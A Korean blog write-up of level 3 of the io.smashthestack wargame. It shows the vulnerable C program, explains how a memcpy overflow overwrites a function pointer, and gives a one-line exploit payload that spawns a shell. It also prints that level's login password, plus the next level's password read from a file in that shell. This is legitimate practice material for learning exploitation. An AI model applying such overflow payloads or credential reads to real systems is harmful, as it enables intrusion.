본문 바로가기

Wargame/io.smashthestack.org

level3

ssh level3@io.netgarage.org

IFd92yzOnSMv9tkX


level3@io:/levels$ cat level03.c 

//bla, based on work by beach


#include <stdio.h>

#include <string.h>


void good()

{

        puts("Win.");

        execl("/bin/sh", "sh", NULL);

}

void bad()

{

        printf("I'm so sorry, you're at %p and you want to be at %p\n", bad, good);

}


int main(int argc, char **argv, char **envp)

{

        void (*functionpointer)(void) = bad;

        char buffer[50];


        if(argc != 2 || strlen(argv[1]) < 4)

                return 0;


        memcpy(buffer, argv[1], strlen(argv[1]));   // buffer overflow

        memset(buffer, 0, strlen(argv[1]) - 4);


        printf("This is exciting we're going to %p\n", functionpointer);

        functionpointer();


        return 0;

}


기초적인 bof 문제인것 같다.




memcpy 과정에서 argv[1] 의 길이체크를 하지 않아, buffer 의 크기보다 많이 받을 수 있다.

buffer와 functionpointer 간의 거리를 구하고, functionpointer 의 값을 good() 의 주소값으로 덮어씌워 주면 해결되는 문제다.


level3@io:/levels$ ./level03 `python -c 'print "\x90"*76 + "\x74\x84\x04\x08"'`

This is exciting we're going to 0x8048474

Win.

sh-4.2$ cat /home/level04/.pas

cat: /home/level04/.pas: No such file or directory

sh-4.2$ cat /home/level04/.pass

cat: /home/level04/.pass: No such file or directory

sh-4.2$ cat /home/level4/.pass

nSwmULj2LpDnRGU2


















'Wargame > io.smashthestack.org' 카테고리의 다른 글

level6  (0) 2015.04.12
level05  (0) 2015.04.12
level04  (0) 2015.04.12
level02  (0) 2015.04.12
level01  (0) 2015.04.12